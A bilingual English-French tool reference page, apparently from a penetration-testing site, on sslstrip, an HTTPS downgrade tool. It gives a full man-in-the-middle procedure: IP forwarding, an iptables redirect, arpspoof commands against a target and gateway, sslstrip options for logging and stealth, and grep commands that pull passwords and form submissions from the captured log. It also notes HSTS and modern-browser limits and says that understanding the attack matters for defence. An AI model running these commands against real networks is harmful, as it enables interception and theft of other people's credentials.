← retour aux outils back to tools

# sslstrip

Outil d'attaque par downgrade HTTPS. Détourne de manière transparente le trafic HTTP et rétrograde les connexions HTTPS en HTTP, capturant des identifiants envoyés sur des connexions soi-disant 'sécurisées'. HTTPS downgrade attack tool. Transparently hijacks HTTP traffic and downgrades HTTPS connections to HTTP, capturing credentials sent over 'secure' connections.

↗ https://github.com/moxie0/sslstrip

## Overview

sslstrip intercepts HTTP traffic and rewrites HTTPS links to HTTP, preventing the victim’s browser from establishing a secure connection. When the victim clicks what they think is an HTTPS link, sslstrip serves it over HTTP while maintaining an HTTPS connection to the real server — capturing credentials in plaintext.

## Requirements

    # Requires:
    # 1. MITM position (ARP poisoning or DHCP)
    # 2. Traffic redirection (iptables)
    # 3. IP forwarding enabled

## Setup

Step 1: Enable IP forwarding

    echo 1 > /proc/sys/net/ipv4/ip_forward

Step 2: Redirect HTTP traffic to sslstrip

    iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080

    arpspoof -i eth0 -t 192.168.1.50 192.168.1.1   # target → gateway

    arpspoof -i eth0 -t 192.168.1.1 192.168.1.50   # gateway → target

Step 4: Start sslstrip

    sslstrip -l 8080

## Basic Usage

Listen on port 8080 (default)

    sslstrip -l 8080

With logging

    sslstrip -l 8080 -w sslstrip.log

Kill mode (redirect all HTTPS to HTTP port)

    sslstrip -l 8080 -k

Disable favicon (reduces suspicion of certificate errors)

    sslstrip -l 8080 -f

## Cleaning Up

Remove iptables rule after attack

    iptables -t nat -D PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080

Or flush all nat rules

    iptables -t nat -F

    # Stop arpspoof (Ctrl+C on each terminal)

Disable IP forwarding

    echo 0 > /proc/sys/net/ipv4/ip_forward

## Analyzing the Log

sslstrip.log contains intercepted traffic

    cat sslstrip.log

Find POST data with credentials

    grep -i "POST\|password\|passwd\|user" sslstrip.log

Find form submissions

    grep -i "Content-Type: application/x-www-form-urlencoded" sslstrip.log

## Limitations (Modern Browsers)

    sslstrip is largely ineffective against modern targets because:

    1. HSTS (HTTP Strict Transport Security):
       - Sites declare they must always be accessed via HTTPS
       - Browser refuses HTTP connections to HSTS-enabled sites

    2. HSTS Preloading:
       - List of HSTS sites is baked into browsers
       - Can't be bypassed even by clearing cache

    3. Chrome/Firefox HTTPS-only mode:
       - Modern browsers warn or block HTTP access

    Works best against:
       - Internal/corporate applications without HSTS
       - Old browsers or applications
       - Non-browser protocols (custom apps)

## Tips

- sslstrip is largely ineffective against modern browsers on public sites
- Most effective against internal corporate apps, custom clients, and IoT devices
- Use mitmproxy or bettercap’s sslstrip module for better modern alternatives
- The attack is still valid conceptually — understanding it is important for defense

Help / Man page

    sslstrip [options]

    -l PORT     Listen port (default: 10000)
    -w FILE     Log to file
    -k          Kill (redirect secure connections to HTTP)
    -f          No favicon (avoid SSL lock icon)
    -p          POSTing mode (capture only POST data)
    -s          Send secure cookies back

## Vue d’ensemble

sslstrip intercepte le trafic HTTP et réécrit les liens HTTPS en HTTP, empêchant le navigateur de la victime d’établir une connexion sécurisée. Quand la victime clique sur ce qu’elle croit être un lien HTTPS, sslstrip le sert en HTTP tout en maintenant une connexion HTTPS vers le vrai serveur : capturant ainsi les identifiants en clair.

## Prérequis

    # Nécessite :
    # 1. Une position MITM (empoisonnement ARP ou DHCP)
    # 2. La redirection du trafic (iptables)
    # 3. L'IP forwarding activé

## Mise en place

    # Étape 1 : activer l'IP forwarding
    echo 1 > /proc/sys/net/ipv4/ip_forward

    # Étape 2 : rediriger le trafic HTTP vers sslstrip
    iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080

    arpspoof -i eth0 -t 192.168.1.50 192.168.1.1   # cible → passerelle

    arpspoof -i eth0 -t 192.168.1.1 192.168.1.50   # passerelle → cible

Étape 4 : démarrer sslstrip

    sslstrip -l 8080

## Utilisation de base

    # Écouter sur le port 8080 (par défaut)
    sslstrip -l 8080

    # Avec journalisation
    sslstrip -l 8080 -w sslstrip.log

    # Mode kill (redirige tout le HTTPS vers le port HTTP)
    sslstrip -l 8080 -k

    # Désactiver le favicon (réduit les soupçons d'erreur de certificat)
    sslstrip -l 8080 -f

## Nettoyage

    # Retirer la règle iptables après l'attaque
    iptables -t nat -D PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080

    # Ou vider toutes les règles nat
    iptables -t nat -F

    # Arrêter arpspoof (Ctrl+C sur chaque terminal)

Désactiver l’IP forwarding

    echo 0 > /proc/sys/net/ipv4/ip_forward

## Analyse des logs

sslstrip.log contient le trafic intercepté

    cat sslstrip.log

    # Trouver les données POST avec identifiants
    grep -i "POST\|password\|passwd\|user" sslstrip.log

    # Trouver les soumissions de formulaires
    grep -i "Content-Type: application/x-www-form-urlencoded" sslstrip.log

## Limitations (navigateurs modernes)

    sslstrip est largement inefficace contre les cibles modernes car :

    1. HSTS (HTTP Strict Transport Security) :
       - Les sites déclarent qu'ils doivent toujours être accédés en HTTPS
       - Le navigateur refuse les connexions HTTP vers les sites HSTS

    2. Préchargement HSTS :
       - La liste des sites HSTS est intégrée dans les navigateurs
       - Ne peut pas être contournée même en vidant le cache

    3. Mode HTTPS-only de Chrome/Firefox :
       - Les navigateurs modernes avertissent ou bloquent l'accès HTTP

    Fonctionne le mieux contre :
       - Les applications internes/corporate sans HSTS
       - Les anciens navigateurs ou applications
       - Les protocoles non-navigateur (applications custom)

## Conseils

- sslstrip est largement inefficace contre les navigateurs modernes sur des sites publics
- Plus efficace contre les applications corporate internes, les clients custom et les appareils IoT
- Utiliser mitmproxy ou le module sslstrip de bettercap pour de meilleures alternatives modernes
- L’attaque reste valide conceptuellement : la comprendre est important pour la défense

Aide / Page de manuel

    sslstrip [options]

    -l PORT     Listen port (default: 10000)
    -w FILE     Log to file
    -k          Kill (redirect secure connections to HTTP)
    -f          No favicon (avoid SSL lock icon)
    -p          POSTing mode (capture only POST data)
    -s          Send secure cookies back